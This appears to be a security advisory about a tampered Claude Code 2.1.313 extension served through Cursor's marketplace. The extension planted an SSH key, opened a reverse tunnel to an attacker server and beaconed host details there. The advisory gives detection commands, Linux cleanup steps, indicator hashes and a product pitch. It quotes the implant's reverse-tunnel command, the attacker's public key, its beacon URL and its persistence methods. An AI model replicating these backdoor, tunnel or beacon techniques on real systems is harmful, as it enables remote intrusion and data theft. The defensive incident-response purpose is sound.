Claude Code 2.1.313 in Cursor's marketplace planted an SSH backdoor. How to check and clean up

If Cursor pulled Claude Code 2.1.313 onto your machine on Thursday, Oct 29, that build appended an attacker's SSH key to ~/.ssh/authorized_keys, set up a job that keeps reopening a reverse SSH tunnel to 134.209.82.225, and sent your hostname, username, Git email and the names of your secret-looking environment variables to the same server. Cursor says a maliciously modified Anthropic.claude-code 2.1.313 sat in the Cursor extension marketplace from about 5:27 AM to 4:35 PM ET (2:27 AM to 1:35 PM PT) and reached at most 5,000 users. Anthropic did not build it. Uninstalling the extension does not undo it, because the persistence lives outside the extension folder.

Start with one command. On macOS or Linux:

grep -n svc-telemetry ~/.ssh/authorized_keys

No output means the implant never wrote its key for that user. A match means treat the machine as compromised and keep reading.

How to fix

Get onto 2.1.314 or later. Anthropic published 2.1.314 to Open VSX at 9:07 PM ET on Oct 29, and the Open VSX API now returns 404 for 2.1.313. Confirm which version you have:

cursor --list-extensions --show-versions | grep -i claude-code
ls ~/.cursor/extensions | grep -i anthropic.claude-code

If you see 2.1.313 anywhere, or the svc-telemetry key is present, updating is the last step, not the first. In order:

1. Disconnect the machine from the network if you can, and copy the files listed below somewhere safe before deleting anything. You will want them if you later need to prove what ran.
2. On macOS or Windows, run Cursor's remediation script. The macOS one (remediate-macos.sh) runs as the affected user, not root. The Windows one (remediate-windows.ps1) needs an elevated PowerShell. Both are linked from Cursor's notice, remove the extension, the persistence, the running tunnel and the key, and exit non-zero if anything is left.
3. On Linux, Cursor has not published a script, so clean up by hand (steps below).
4. Install 2.1.314 or later.
5. From a different, clean machine, rotate whatever that account could reach: GitHub and GitLab tokens, cloud keys, package registry tokens, CI secrets and the SSH keys in ~/.ssh. Cursor's own wording is that the limited environment-variable collection "does not rule out later credential access over the backdoor."

Did the backdoor actually let anyone in?

For most Macs and Windows PCs, probably not, and the reason is a bug in the malware. Turning on the local SSH server needs admin rights. Cursor says that unless Cursor itself was running with administrator privileges, that step fails because of errors in the malicious code. Phorion's analysis found the macOS check for Remote Login breaks for a standard user, so the tunnel can connect out to the attacker's server and still forward to a closed port 22.

That reassurance stops at a few machines that matter a lot:

• Macs where Remote Login was already on. Phorion's point is blunt: if it was enabled, or you enable it later, "the backdoor is ready and waiting."
• Linux workstations, dev VMs and cloud dev boxes that already run sshd, which many do. The implant does not need to start a service that is already listening.
• Anyone who launched Cursor as an administrator.

Check the first two before you decide how worried to be:

# macOS
sudo systemsetup -getremotelogin
# Linux
systemctl is-active ssh sshd

Everywhere else, the key, the persistence and the beacon still happened. The beacon carried environment variable names, not values: up to 40 names containing KEY, TOKEN, SECRET, PASS, AWS or GCP. That tells the operator which clouds and CI systems you use, which is a shopping list even without the secrets.

What 2.1.313 did when Cursor loaded it

OpenSourceMalware found a 66-line loader stuck in front of the real code in the extension's extension.js. Everything else in the package, including the bundled Claude binary, matched the normal release. The loader runs when the extension module loads. You did not have to open a Claude chat, and there were no install scripts to catch.

• It appends this key, comment svc-telemetry, and sets ~/.ssh to 0700 and authorized_keys to 0600:
  ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDdvylCEJ/k2TpezcTfedrkHyFSK9IZ3vmP6vhY4Ss0P svc-telemetry
• It tries to switch on SSH: systemsetup -setremotelogin on on macOS, systemctl start attempts on Linux, and on Windows an OpenSSH Server install through Add-WindowsCapability.
• It decodes a second, embedded private key to a temp file named .stk_ plus 10 hex characters and runs ssh -N -R '*:0:localhost:22' to [email protected], or autossh -M 0 if autossh is installed, with host key checking off. A detached loop retries about every 60 seconds, so closing Cursor does not stop it.
• It writes persistence: a LaunchAgent named com.apple.sysmond on macOS (not an Apple component, whatever the name says), an @reboot crontab line on Linux, and on Windows a SysMon scheduled task that tries to run as SYSTEM, falling back to sysmon.cmd in the Startup folder.
• After about 1.5 seconds it looks up your public IP through ifconfig.me and api.ipify.org and POSTs the host details over plain HTTP to http://134.209.82.225:8099/beacon, plus a copy to 127.0.0.1:8099.

OpenSourceMalware found no downloader and no second-stage payload in the loader. That only covers what is in the file. Anyone who got a working SSH session could have done anything that user can do, and none of it would show up in the extension.

Check your machine

The svc-telemetry comment is the easy check, but it is only a comment. Phorion points out that the implant itself checks for that string rather than the key, so hunt by fingerprint too:

ssh-keygen -lf ~/.ssh/authorized_keys | grep 0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk

Then look for the rest of the kit:

# macOS
ls -la ~/Library/LaunchAgents/com.apple.sysmond.plist ~/.config/.smt ~/.config/.smtk
launchctl list | grep sysmond
ls -la "$TMPDIR"/.stk_* 2>/dev/null

# Linux
crontab -l | grep -n smt
ls -la ~/.config/.smt ~/.config/.smtk /tmp/.stk_* 2>/dev/null

# Is the tunnel running right now? (macOS: pgrep -fl, Linux: pgrep -af)
pgrep -af "134.209.82.225"

# Did the poisoned bundle land on disk?
grep -rlE "134\.209\.82\.225|svc-telemetry" ~/.cursor/extensions/ 2>/dev/null

On Windows, check %USERPROFILE%\.ssh\authorized_keys and C:\ProgramData\ssh\administrators_authorized_keys, run schtasks /query /tn SysMon, and look for %USERPROFILE%\.config\smt.cmd, %USERPROFILE%\.config\smtk, %TEMP%\.stk_* and sysmon.cmd under %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup.

For a fleet, Cursor published two modified VSIX hashes (SHA-256): 432ccdee3801f99e52b8fe31f69ea9870118e96ea7ef9ecabed1479621b5ab62 for darwin-arm64 and 3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081 for win32-x64. The malicious extension.js is ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15. Block or alert on 134.209.82.225 on TCP 22 and 8099. Cursor says it got the hosting provider to take that server offline, so a quiet network log today does not prove nothing connected on Thursday.

Cleaning up Linux by hand

Save your crontab before you touch it. Phorion found a bug in the implant's crontab check that can wipe your existing cron jobs when it runs more than once, so compare against what you expect to be there:

crontab -l > ~/crontab-before-cleanup.txt
pkill -f "134.209.82.225"
crontab -l | grep -v '\.config/\.smt' | crontab -
sed -i.bak '/svc-telemetry/d' ~/.ssh/authorized_keys
rm -f ~/.config/.smt ~/.config/.smtk /tmp/.stk_*

Run pgrep -af "134.209.82.225" again afterwards, and reboot once to make sure nothing comes back. The sed line keeps a backup in authorized_keys.bak; delete that copy once you have saved your evidence. Then check /var/log/auth.log or journalctl -u ssh for logins you do not recognise, especially from 134.209.82.225 or localhost. If you find one, rebuild the machine instead of cleaning it.

Who is not affected

• People who installed Claude Code in Microsoft's VS Code from the Visual Studio Marketplace. OpenSourceMalware, after talking to Cursor, lists that build as not malicious.
• Users of the Claude Code CLI from npm (@anthropic-ai/claude-code). Also listed as not malicious.
• Cursor users who did not install or auto-update to 2.1.313 inside the Oct 29 window, and users of other Cursor marketplace extensions. Cursor says it audited access and found no other extension tampered with.

Where the sources disagree

The first reports, including the first version of The Hacker News story, said the bad build was on the Open VSX registry, the open marketplace that VSCodium, Windsurf and other VS Code forks use. OpenSourceMalware later updated its post to say Cursor contacted it and the origin was the Cursor marketplace, "not Open-VSX." StepSecurity, writing on Oct 30, still describes 2.1.313 as published to Open VSX and mirrored into Cursor's marketplace, and says it confirmed Open VSX now returns "not found" for that version. We checked the Open VSX API at 6:50 AM ET Oct 30: 2.1.312 and 2.1.314 return 200, 2.1.313 returns 404. A missing version is consistent with either account, so it does not settle the question.

Cursor's notice does not say how the package got into its marketplace, and Eclipse Foundation, which runs Open VSX, had not published a statement when we checked. Until one of them does, if you run VSCodium, Windsurf or another Open VSX client and auto-updated Claude Code on Oct 29, run the same authorized_keys and persistence checks. They take a minute.

There is also a gap on Linux. Cursor's indicators name only the darwin-arm64 and win32-x64 packages. OpenSourceMalware and Phorion both describe the loader's Linux branch. We have not seen anyone confirm a modified linux-x64 package was actually served, so treat Linux as possibly affected and check.

What this is not

This was not Anthropic shipping malware, and it was not a bug in Claude Code. It was a tampered copy of the extension served by a marketplace. There is no CVE ID for it.

Auto-update was the delivery mechanism

Jenn Gile of OpenSourceMalware told The Hacker News that anyone with Claude Code set to auto-update "could have consumed the malware." The extension arrived under the real Anthropic.claude-code identity, so no name check would have flagged it. Extensions run with your user's full permissions in the editor's extension host the moment they load.

For an extension that holds this much access, consider pinning the version and updating on purpose. Cursor is a VS Code fork and has the same extensions.autoUpdate setting; setting it to false means a bad release waits for you instead of arriving overnight. You give up silent fixes. For a few days a month that trade is reasonable.

Where HOL Guard fits, and where it does not

HOL Guard would not have stopped this loader, and we will not pretend otherwise. Guard checks what an AI agent tries to do, such as shell commands, file reads, package installs and MCP tool calls, before it runs. This code never asked an agent for anything. It ran inside Cursor's extension host as soon as the extension loaded.

Guard's policy does cover the moves this implant made, when an agent makes them: appending to ~/.ssh/authorized_keys, writing a LaunchAgent or crontab entry, opening an outbound SSH tunnel, or reading credential files. A prompt-injected agent that tries any of those gets paused for your approval and leaves a local receipt in ~/.hol-guard. That is a different door from the one used here, and both are worth watching. HOL Guard is free and open source.

What do people ask about the Claude Code extension compromise?

Was the official Claude Code extension hacked?

A modified copy of Anthropic.claude-code version 2.1.313 was served through the Cursor extension marketplace on Oct 29, 2026. Cursor says Anthropic did not develop that version. The Visual Studio Marketplace build and the npm CLI were not listed as malicious.

Which version is malicious?

Only 2.1.313. Version 2.1.312 and version 2.1.314 were checked by StepSecurity and contain none of the indicators. Update to 2.1.314 or later.

How do I know if my machine is affected?

Run grep svc-telemetry ~/.ssh/authorized_keys. A match means the implant ran for that user. Also look for the com.apple.sysmond LaunchAgent on macOS, an @reboot crontab line pointing at ~/.config/.smt on Linux, or a SysMon scheduled task on Windows.

Is uninstalling the extension enough?

No. The persistence scripts and the SSH key live outside the extension folder and keep running after removal. Remove them with Cursor's script or by hand, then rotate credentials from a clean machine.

Were my secrets stolen?

The beacon sent the names of up to 40 environment variables, not their values. If the SSH tunnel worked on your machine, the attacker could have read anything your user can read, so rotate tokens and keys either way.

Does this affect VSCodium or Windsurf?

Cursor and OpenSourceMalware say the origin was the Cursor marketplace, not Open VSX. StepSecurity says the version was also on Open VSX. If you auto-updated Claude Code on Oct 29 in any Open VSX based editor, run the checks.

References

• Cursor: Security notice on Anthropic.claude-code 2.1.313 in the Cursor extension marketplace
• OpenSourceMalware: Trojanized Claude Code extension plants an SSH backdoor
• Phorion: Official Claude Code extension compromise security advisory
• StepSecurity: Trojanized Claude Code extension delivered persistent SSH backdoor
• The Hacker News: Official Claude Code VS Code extension compromised to install persistent SSH backdoor
• Open VSX: Anthropic.claude-code